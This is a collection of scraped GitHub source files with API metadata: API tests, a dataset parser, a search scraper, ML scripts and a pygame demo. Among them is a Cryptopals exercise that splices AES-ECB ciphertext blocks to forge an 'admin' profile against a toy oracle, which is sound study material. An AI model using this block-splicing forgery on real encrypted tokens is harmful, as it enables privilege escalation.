"googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 3896, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 3896, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 3896, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 3947, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 3947, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 3947, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Load", "line_number": 3966, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 3966, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 3966, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.util.encoding.SetEncodedValue", "line_number": 3986, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.encoding", "line_number": 3986, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 3986, "usage_type": "attribute"}, {"api_name": "six.PY3", "line_number": 4149, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.config.EnsureSDKWriteAccess", "line_number": 4152, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 4152, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.config.Paths", "line_number": 4153, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.config", "line_number": 4153, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.properties_file.PersistProperty", "line_number": 4156, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.properties_file", "line_number": 4156, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile.Invalidate", "line_number": 4157, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ActivePropertiesFile", "line_number": 4157, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 4157, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ConfigurationStore.ActiveConfig", "line_number": 4159, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.configurations.named_configs.ConfigurationStore", "line_number": 4159, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.configurations.named_configs", "line_number": 4159, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.util.encoding.GetEncodedValue", "line_number": 4164, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.encoding", "line_number": 4164, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 4164, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 4170, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 4170, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.feature_flags.config.GetFeatureFlagsConfig", "line_number": 4227, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.feature_flags.config", "line_number": 4227, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.util.encoding.GetEncodedValue", "line_number": 4304, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.encoding", "line_number": 4304, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 4304, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.credentials.devshell.IsDevshellEnvironment", "line_number": 4388, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.credentials.devshell", "line_number": 4388, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.credentials.gce_cache.GetOnGCE", "line_number": 4392, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.credentials.gce_cache", "line_number": 4392, "usage_type": "name"}, {"api_name": "six.string_types", "line_number": 4409, "usage_type": "attribute"}]} {"seq_id": "4403989410", "text": "\"\"\"Tests to check connection to API.\"\"\"\nimport phpypam\nimport pytest\nimport vcr\nimport yaml\n\nfrom tests.conftest import filter_request_uri, filter_response, cassette_name, FILTER_REQUEST_HEADERS\nfrom phpypam.core.exceptions import PHPyPAMInvalidCredentials\n\n\nwith open('tests/vars/server.yml') as c:\n server = yaml.safe_load(c)\n\n\n@vcr.use_cassette(cassette_name('test_connection_success'),\n filter_headers=FILTER_REQUEST_HEADERS,\n before_record_request=filter_request_uri,\n before_recorde_response=filter_response\n )\ndef test_connection_success():\n \"\"\"Test whether a connection to API can be done.\"\"\"\n pi = phpypam.api(**server)\n\n token = pi.get_token()\n\n assert isinstance(pi, phpypam.api)\n assert len(token) == 24\n\n\n@vcr.use_cassette(cassette_name('test_connection_failure'),\n filter_headers=FILTER_REQUEST_HEADERS,\n before_record_request=filter_request_uri,\n before_recorde_response=filter_response\n )\ndef test_connection_failure():\n \"\"\"Test faulty connection.\n\n Test if failure where reported correctly if there is faulty login data.\n \"\"\"\n connection_kwargs = server.copy()\n connection_kwargs.update({'password': 'wrong_password'})\n\n pytest.raises(PHPyPAMInvalidCredentials, phpypam.api, **connection_kwargs)\n\n connection_kwargs = server.copy()\n connection_kwargs.update({'username': 'wrong_username'})\n\n pytest.raises(PHPyPAMInvalidCredentials, phpypam.api, **connection_kwargs)\n\n\n@vcr.use_cassette(cassette_name('test_custom_user_agent'),\n filter_headers=FILTER_REQUEST_HEADERS,\n before_record_request=filter_request_uri,\n before_recorde_response=filter_response\n )\ndef test_custom_user_agent():\n \"\"\"Test to set custom user-agent header.\n\n Test to connect to API with a custom user-agent header set.\n \"\"\"\n connection_kwargs = server.copy()\n connection_kwargs.update({'user_agent': 'my_test_agent'})\n\n pi = phpypam.api(**connection_kwargs)\n\n assert isinstance(pi, phpypam.api)\n assert len(pi.get_token()) == 24\n", "repo_name": "codeaffen/phpypam", "sub_path": "tests/test_cases/api_connection.py", "file_name": "api_connection.py", "file_ext": "py", "file_size_in_byte": 2189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "yaml.safe_load", "line_number": 12, "usage_type": "call"}, {"api_name": "phpypam.api", "line_number": 22, "usage_type": "call"}, {"api_name": "phpypam.api", "line_number": 26, "usage_type": "attribute"}, {"api_name": "vcr.use_cassette", "line_number": 15, "usage_type": "call"}, {"api_name": "tests.conftest.cassette_name", "line_number": 15, "usage_type": "call"}, {"api_name": "tests.conftest.FILTER_REQUEST_HEADERS", "line_number": 16, "usage_type": "name"}, {"api_name": "tests.conftest.filter_request_uri", "line_number": 17, "usage_type": "name"}, {"api_name": "tests.conftest.filter_response", "line_number": 18, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 43, "usage_type": "call"}, {"api_name": "phpypam.core.exceptions.PHPyPAMInvalidCredentials", "line_number": 43, "usage_type": "argument"}, {"api_name": "phpypam.api", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 48, "usage_type": "call"}, {"api_name": "phpypam.core.exceptions.PHPyPAMInvalidCredentials", "line_number": 48, "usage_type": "argument"}, {"api_name": "phpypam.api", "line_number": 48, "usage_type": "attribute"}, {"api_name": "vcr.use_cassette", "line_number": 30, "usage_type": "call"}, {"api_name": "tests.conftest.cassette_name", "line_number": 30, "usage_type": "call"}, {"api_name": "tests.conftest.FILTER_REQUEST_HEADERS", "line_number": 31, "usage_type": "name"}, {"api_name": "tests.conftest.filter_request_uri", "line_number": 32, "usage_type": "name"}, {"api_name": "tests.conftest.filter_response", "line_number": 33, "usage_type": "name"}, {"api_name": "phpypam.api", "line_number": 64, "usage_type": "call"}, {"api_name": "phpypam.api", "line_number": 66, "usage_type": "attribute"}, {"api_name": "vcr.use_cassette", "line_number": 51, "usage_type": "call"}, {"api_name": "tests.conftest.cassette_name", "line_number": 51, "usage_type": "call"}, {"api_name": "tests.conftest.FILTER_REQUEST_HEADERS", "line_number": 52, "usage_type": "name"}, {"api_name": "tests.conftest.filter_request_uri", "line_number": 53, "usage_type": "name"}, {"api_name": "tests.conftest.filter_response", "line_number": 54, "usage_type": "name"}]} {"seq_id": "4453063083", "text": "# -*- coding: utf-8 -*-\n\nimport os\nfrom pycocotools.coco import COCO\nfrom .sample import Sample\nfrom .base_parser import Parser\n__all__ = ['COCOParser']\n\n\nclass COCOParser(Parser):\n\n def __init__(self, coco_annotation_path, image_root, filter_no_gt=True, filter_min_size=32):\n assert os.path.exists(coco_annotation_path)\n assert os.path.exists(image_root)\n assert filter_min_size >= 0\n\n self._image_root = image_root\n self._filter_no_gt = filter_no_gt\n self._filter_min_size = filter_min_size\n\n self._coco = COCO(annotation_file=coco_annotation_path)\n\n category_ids = self._coco.getCatIds()\n category_ids.sort()\n self._category_ids_to_label_indexes = dict()\n self._label_indexes_to_category_ids = dict()\n self._category_ids_to_category_names = dict()\n for i, cat_id in enumerate(category_ids):\n self._category_ids_to_label_indexes[cat_id] = i # CAUTION: label index is 0-based!!!!\n self._label_indexes_to_category_ids[i] = cat_id\n self._category_ids_to_category_names[cat_id] = self._coco.loadCats(cat_id)[0]['name']\n\n def get_meta_info(self):\n return {\n 'category_ids_to_label_indexes': self._category_ids_to_label_indexes,\n 'label_indexes_to_category_ids': self._label_indexes_to_category_ids,\n 'category_ids_to_category_names': self._category_ids_to_category_names\n }\n\n def generate_sample(self):\n image_ids = self._coco.getImgIds()\n\n for image_id in image_ids:\n image_info = self._coco.loadImgs(image_id)\n\n # filter small images\n if min(image_info[0]['height'], image_info[0]['width']) < self._filter_min_size:\n continue\n\n annotations = self._coco.loadAnns(self._coco.getAnnIds(image_id))\n\n bboxes = []\n bbox_category_ids = []\n for annotation in annotations:\n bbox = annotation['bbox']\n # filter some bad bboxes\n if min(bbox[:2]) < 0 or min(bbox[2:]) <= 0:\n continue\n bboxes.append(bbox)\n bbox_category_ids.append(annotation['category_id'])\n\n # images without any bboxes are ignored\n if self._filter_no_gt and len(bboxes) == 0:\n continue\n\n sample = Sample()\n sample['image_id'] = image_id # image_id is not in the Sample key words, and serves as the meta info for COCO samples. It will be used by evaluator.\n sample['image_path'] = os.path.join(self._image_root, image_info[0]['file_name'])\n sample['image_type'] = image_info[0]['file_name'].split('.')[-1].lower()\n sample['original_height'] = image_info[0]['height']\n sample['original_width'] = image_info[0]['width']\n if len(bboxes) > 0:\n sample['bboxes'] = bboxes\n sample['bbox_labels'] = [self._category_ids_to_label_indexes[bbox_cat_id] for bbox_cat_id in bbox_category_ids]\n yield sample\n", "repo_name": "YonghaoHe/LFD-A-Light-and-Fast-Detector", "sub_path": "lfd/data_pipeline/dataset/coco_parser.py", "file_name": "coco_parser.py", "file_ext": "py", "file_size_in_byte": 3085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 408, "dataset": "github-code", "pt": "78", "api": [{"api_name": "base_parser.Parser", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pycocotools.coco.COCO", "line_number": 21, "usage_type": "call"}, {"api_name": "sample.Sample", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}]} {"seq_id": "28639686986", "text": "from urllib import request\nimport threading\nfrom time import sleep\nfrom queue import Queue\nimport pickle\nfrom lxml import html\nimport chardet\n\nraw_url = 'http://www.baidu.com/s?wd={}'\n\n#这个函数是为了转换字符 将内容转为utf-8解码格式\ndef char_trans(word, target='utf-8'):\n word = str(word.encode(target))\n word = word[2:-1]\n return word.replace('\\\\x', '%')\n\n#打开文件words并读取，赋值给target_words\nf = open('words', 'rb')\ntarget_words= pickle.load(f)\nf.close()\n\n#这个函数是初始化URL\ndef raw_clawer(word,que, url_fmt = raw_url):\n fmt_word = char_trans(word)\n if not fmt_word:\n return que.put(word, 'not word!')\n url = url_fmt.format(fmt_word)\n try:\n r = request.urlopen(url, timeout=1)\n data = r.read().decode('utf-8')\n #data = r.readall()\n que += [(word, data)] \n except:\n sleep(3)\n print('failed url: {}'.format(url))\n return raw_clawer(word, que, url_fmt)\n\n\n\n\ntarget_words = list(target_words)\nwords = target_words\n#words = target_words[0:200]\nreport_N = int(len(words) / 100)\ni = 0\n\n\nfile = open('word_searchfile','rb')\nque = pickle.load(file)\nfile.close()\nfinished_words = [tp[0] for tp in que]\n\nwhile True:\n if i >= len(words):\n break\n if i % report_N == 1:\n print('finished: {}'.format(i / report_N / 100))#每1%打印进度一次\n #print(i)\n word = words[i]\n raw_clawer(word, que)\n i += 1\n if word in finished_words:\n continue\n if i%1000 == 1:\n file = open('word_searchfile','wb')\n pickle.dump(que,file)\n file.close() \n \n\n##这个是干嘛，要把数据重新生成一次么？？？\n#这次生成是为了避免刚刚生成的过程中有遗漏。\nfile = open('word_searchfile','wb')\npickle.dump(que,file)\nfile.close() \n\nque1 = que[1430:-1]\nlcl_data = []\nm = 0\nfor x in que1:\n if not x[0].strip():\n continue\n data_a = x[1]\n print(x[0])\n #page_word = data_a.decode(chardet.detect(data_a)['encoding'])\n data = html.fromstring(data_a)\n try:\n content_left = data.findall('*//div[@id=\"content_left\"]')[0]\n except:\n temp_data = []\n raw_clawer(x[0], temp_data)\n data = html.fromstring(temp_data[0][1])\n content_left = data.findall('*//div[@id=\"content_left\"]')[0] \n iter_content = content_left.iterfind('.//div[@tpl]')\n try:\n for it in iter_content:\n if not it.findall('.//h3/a'):\n lk = it.findall('.//a')[0]\n else:\n lk = it.findall('.//h3/a')[0]\n href = lk.attrib['href']\n title = lk.text_content()\n lcl_data += [(title,href)]\n except:\n pass\n file = open('search_result','wb')\n pickle.dump(lcl_data,file)\n file.close() \n m += 1\n if m%1000 == 1:\n print('the process is :',m)\n \n\n\nfile = open('search_result','wb')\npickle.dump(lcl_data,file)\nfile.close() \n \n\n\n", "repo_name": "wzx1234567890/char_clawer", "sub_path": "crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 2969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pickle.load", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 29, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 49, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 66, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 73, "usage_type": "call"}, {"api_name": "lxml.html.fromstring", "line_number": 85, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 85, "usage_type": "name"}, {"api_name": "lxml.html.fromstring", "line_number": 91, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 91, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 106, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 115, "usage_type": "call"}]} {"seq_id": "3480547096", "text": "\"\"\"\nUma classe apenas para obter os dados do Json, com estatisticas.\n\"\"\"\nclass SoccerStats():\n def __init__(self, url='http://foob.ar/resource.json'):\n self.url = url\n def getStats(self):\n try:\n from urllib.request import urlopen\n except ImportError:\n from urllib2 import urlopen\n import json \n try:\n with urlopen( self.url ) as url:\n data = json.loads(url.read().decode('utf-8').replace(\"localStorage.stats=JSON.stringify(\",\"\").replace(\"}]);\",\"}]\") )\n #print(data)\n return(data)\n except AttributeError:\n url = urlopen( self.url )\n data = json.loads(url.read().decode('utf-8').replace(\"localStorage.stats=JSON.stringify(\",\"\").replace(\"}]);\",\"}]\") )\n return(data)\n except json.decoder.JSONDecodeError:\n #print(\"json provavelmente vazio!\")\n return {}\n except http.client.RemoteDisconnected:\n print(\"Tem ninguem do outro lado da linha\")\n return {}\n \n #Levenshtein distance in a recursive way (https://www.python-course.eu/levenshtein_distance.php)\n def LD(self, s, t):\n #from Levenshtein import distance #pip install python-Levenshtein\n #return distance(s, t)\n \n ''' From Wikipedia article; Iterative with two matrix rows. '''\n if s == t: return 0\n elif len(s) == 0: return len(t)\n elif len(t) == 0: return len(s)\n v0 = [None] * (len(t) + 1)\n v1 = [None] * (len(t) + 1)\n for i in range(len(v0)):\n v0[i] = i\n for i in range(len(s)):\n v1[0] = i + 1\n for j in range(len(t)):\n cost = 0 if s[i] == t[j] else 1\n v1[j + 1] = min(v1[j] + 1, v0[j + 1] + 1, v0[j] + cost)\n for j in range(len(v0)):\n v0[j] = v1[j]\n \n return v1[len(t)]", "repo_name": "LucasDM19/botfair", "sub_path": "Stats.py", "file_name": "Stats.py", "file_ext": "py", "file_size_in_byte": 1829, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "urllib2.urlopen", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 15, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 19, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 20, "usage_type": "call"}, {"api_name": "json.decoder", "line_number": 22, "usage_type": "attribute"}]} {"seq_id": "73987166332", "text": "\nimport pandas as pd\nimport numpy as np\nfrom collections import Counter\n\nclass NaiveBayes:\n def __init__(self,dataset):\n self.__dataset = dataset\n self.__classAttribute = list(self.__dataset.keys())[-1]\n self.__classes = list(set(self.__dataset[self.__classAttribute]))\n self.__attributes = list(self.__dataset.keys())[:-1]\n self.__classProbabilites = dict()\n \n \n \n \n def train(self):\n self.__classCounts = dict(Counter(self.__dataset[self.__classAttribute]))\n self.__featureProbabilites = {}\n self.__initClassProbabilities()\n self.__initFeatureProbabilites()\n \n \n \n def __initClassProbabilities(self):\n counts = dict(Counter(self.__dataset[self.__classAttribute]))\n totalNumberOfTuples = sum(counts.values())\n self.__classProbabilites = {key:self.__getProbability(counts[key],totalNumberOfTuples) for key in counts.keys()}\n \n \n \n\n def __initFeatureProbabilites(self):\n for attribute in self.__attributes:\n data = {}\n attributeCounts = len(self.__getAttributeValues(attribute))#for laplace correction\n for attributeValue in self.__getAttributeValues(attribute):\n probabilities = {}\n for classValue in self.__classes:\n probability = self.__getProbability(1+self.__getCounts((attribute,attributeValue),(self.__classAttribute,classValue)),attributeCounts+self.__classCounts[classValue])\n probabilities[classValue] = probability\n data[attributeValue] = probabilities\n self.__featureProbabilites[attribute] = data\n return self.__featureProbabilites\n \n def __getAttributeValues(self,attribute):\n return list(set(self.__dataset[attribute]))\n \n \n def __getCounts(self,tuple1,tuple2):\n return len(dataset[(self.__dataset[tuple1[0]] == tuple1[1]) & (self.__dataset[tuple2[0]] == tuple2[1])])\n \n def __getProbability(self,n,N):\n return n/N\n\n def __getClassProbabilities(self):\n return self.__classProbabilites\n \n def __getFeatureProbabilities(self):\n return self.__featureProbabilites\n \n def predict(self,featureDictionary):\n probabilitesOfClasses = []\n for classValue in self.__classes:\n probability = 1\n for key,value in featureDictionary.items():\n probability*= self.__featureProbabilites[key][value][classValue]\n \n probability *=self.__classProbabilites[classValue]\n \n probabilitesOfClasses.append(probability)\n \n return self.__classes[np.argmax(probabilitesOfClasses)]\n \n\n", "repo_name": "dineshdb/data-mining", "sub_path": "scripts/bayes.py", "file_name": "bayes.py", "file_ext": "py", "file_size_in_byte": 2760, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 73, "usage_type": "call"}]} {"seq_id": "1811926738", "text": "from ch09 import pkcs\n\nclass ECB_CutAndPaste:\n ''' challenge 13'''\n def __init__(self):\n from os import urandom\n self.master_k = urandom(16)\n\n def parser(self, s):\n 'convert user profile encoded as string to dictionary object'\n temp = {}\n for i in s.rsplit('&'):\n temp[i.rsplit('=')[0]]=i.rsplit('=')[1]\n return temp\n\n def d_parser(self, d):\n 'convert user profile dictionary object to string'\n string = '';\n for i in [item[0]+'='+item[1] for item in d.items()]: string+='&'+i\n return string[1:]\n\n def profile_for(self, email):\n 'given email, creates user profile encoded as string'\n string = email.replace('&', '').replace('=', '')\n temp = {'email':string, 'uid':'10', 'role':'user'}\n return self.d_parser(temp)\n\n def encrypt_profile(self, email):\n 'given email, encrypts user profile encoded as string'\n encoded = pkcs.pad(self.profile_for(email).encode(), 16)\n from Crypto.Cipher import AES\n obj = AES.new(self.master_k, 1)\n return obj.encrypt(encoded)\n\n def decrypt_profile(self, ciphertext):\n #AES decrypt encoded profile\n from Crypto.Cipher import AES\n obj = AES.new(self.master_k, 1)\n profile = obj.decrypt(ciphertext)\n return pkcs.unpad(profile, 16).decode()\n\ndef main():\n ch13 = ECB_CutAndPaste()\n part_1 = ch13.encrypt_profile('HACKER@ABC.DE')[:-16]\n part_2 = ch13.encrypt_profile(10*'a'+'admin'+'\\x0b'*11)[16:32]\n print(ch13.decrypt_profile((part_1+part_2)))\n\nif __name__ == '__main__':\n main()\n", "repo_name": "peai002/cryptopals-crypto-challenges", "sub_path": "ch13.py", "file_name": "ch13.py", "file_ext": "py", "file_size_in_byte": 1621, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.urandom", "line_number": 7, "usage_type": "call"}, {"api_name": "ch09.pkcs.pad", "line_number": 30, "usage_type": "call"}, {"api_name": "ch09.pkcs", "line_number": 30, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 32, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 32, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 38, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 38, "usage_type": "name"}, {"api_name": "ch09.pkcs.unpad", "line_number": 40, "usage_type": "call"}, {"api_name": "ch09.pkcs", "line_number": 40, "usage_type": "name"}, {"api_name": "{'urandom': 'os.urandom', 'AES': 'Crypto.Cipher.AES'}", "line_number": 43, "usage_type": "call"}]} {"seq_id": "72575657822", "text": "import os\nimport sys\n\nimport pygame\nfrom pygame.sprite import Sprite\nfrom pygame.surface import Surface\n\nfrom pygutils.animation import Animation\n\nWINDOW_WIDTH = 600\nWINDOW_HEIGHT = 400\nGAME_FPS = 60\n\n\ndef get_surfaces() -> list[Surface]:\n path = os.path.join(os.path.dirname(__file__), \"images\", \"animation\")\n\n return [\n pygame.image.load(os.path.join(path, image)).convert_alpha()\n for image in sorted(os.listdir(path))\n ]\n\n\nclass AnimatedSprite(Sprite):\n def __init__(\n self, frames_sequence: list[Surface], position: tuple[int, int], *groups\n ) -> None:\n super().__init__(*groups)\n\n self.image = frames_sequence[0]\n self.rect = self.image.get_rect(center=position)\n\n self.animation = Animation(frames_sequence, 8)\n\n def update(self, delta_time: float) -> None:\n self.animation.update(delta_time)\n\n self.image = self.animation.next()\n self.rect = self.image.get_rect(center=self.rect.center)\n\n\npygame.init()\npygame.display.set_caption(\"Pygutils Animation Example\")\n\nscreen = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\nclock = pygame.time.Clock()\n\nanimated_sprite = AnimatedSprite(\n frames_sequence=get_surfaces(),\n position=(WINDOW_WIDTH // 2, WINDOW_HEIGHT // 2),\n)\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n delta_time = clock.tick(GAME_FPS) / 1000\n\n screen.fill((255, 255, 255))\n\n animated_sprite.update(delta_time)\n screen.blit(animated_sprite.image, animated_sprite.rect)\n\n pygame.display.update()\n", "repo_name": "LEMSantos/pygutils", "sub_path": "pygutils/examples/animation_example.py", "file_name": "animation_example.py", "file_ext": "py", "file_size_in_byte": 1623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.surface.Surface", "line_number": 15, "usage_type": "name"}, {"api_name": "pygame.sprite.Sprite", "line_number": 24, "usage_type": "name"}, {"api_name": "pygame.surface.Surface", "line_number": 26, "usage_type": "name"}, {"api_name": "pygutils.animation.Animation", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 66, "usage_type": "attribute"}]} {"seq_id": "30062290509", "text": "from keras.engine import Model\nfrom keras.layers import Flatten, Dense, Input\nfrom keras_vggface.vggface import VGGFace\nfrom keras.optimizers import Adam\nimport os\nimport tensorflow as tf \nimport datetime\nImageDataGenerator = tf.keras.preprocessing.image.ImageDataGenerator\n\n#custom parameters\nnb_class = 5\nhidden_dim = 512\n\ndatasetdir = \"dataset/face_train\"\nos.chdir(datasetdir) ##開啟檔案位置\n\nimgdatagen = ImageDataGenerator(validation_split = 0.2 ,\n width_shift_range = 0.3,\n height_shift_range = 0.3,\n brightness_range = [0.2,1.0],\n rotation_range = 45)\n\n\nbatch_size = 4\n\nheight, width = (224,224)\n\ntrain_dataset = imgdatagen.flow_from_directory(os.getcwd(),target_size = (height, width), \n classes = ('Barry','Corn','Liangyu','TUNG','Wenson'),batch_size = batch_size,\n shuffle = True,subset = 'training',class_mode = 'sparse')\n\nval_dataset = imgdatagen.flow_from_directory(os.getcwd(),target_size = (height, width), \n classes = ('Barry','Corn','Liangyu','TUNG','Wenson'),batch_size = batch_size,\n shuffle = True , subset = 'validation',class_mode = 'sparse')\n\n\nvgg_model = VGGFace(include_top=False, input_shape=(224, 224, 3),weights='vggface')\n\nlast_layer = vgg_model.get_layer('pool5').output\nx = Flatten(name='flatten')(last_layer)\nx = Dense(hidden_dim, activation='relu', name='fc6')(x)\nx = Dense(hidden_dim, activation='relu', name='fc7')(x)\nout = Dense(nb_class, activation='softmax', name='fc8')(x)\ncustom_vgg_model = Model(vgg_model.input, out)\n\nfor i in range (len(custom_vgg_model.layers)-3) :\n custom_vgg_model.layers[i].trainable = False\n\nprint(custom_vgg_model.summary())\n\ncustom_vgg_model.compile(\n loss='sparse_categorical_crossentropy',#'categorical_crossentropy',\n optimizer=Adam(lr=0.0001),\n metrics=['accuracy']\n)\n\nlogdir = os.path.join(\"logs\", datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\ntensorboard_callback = tf.keras.callbacks.TensorBoard(logdir, histogram_freq=0 ,write_graph = False,\n update_freq = batch_size)\nhistory=custom_vgg_model.fit(train_dataset,\n steps_per_epoch = train_dataset.samples // batch_size ,\n validation_data = val_dataset , \n validation_steps = val_dataset.samples // batch_size,\n epochs = 10 , \n callbacks = [tensorboard_callback])\n\ncustom_vgg_model.save('vgg_model_test.h5')", "repo_name": "barrypr14/face-recognition-by-VGGface", "sub_path": "VGGface_train.py", "file_name": "VGGface_train.py", "file_ext": "py", "file_size_in_byte": 2546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tensorflow.keras", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 28, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 32, "usage_type": "call"}, {"api_name": "keras_vggface.vggface.VGGFace", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 40, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 43, "usage_type": "call"}, {"api_name": "keras.engine.Model", "line_number": 44, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.TensorBoard", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 58, "usage_type": "attribute"}]} {"seq_id": "42848567918", "text": "'''\n The following blueprint serves the login activity of the users 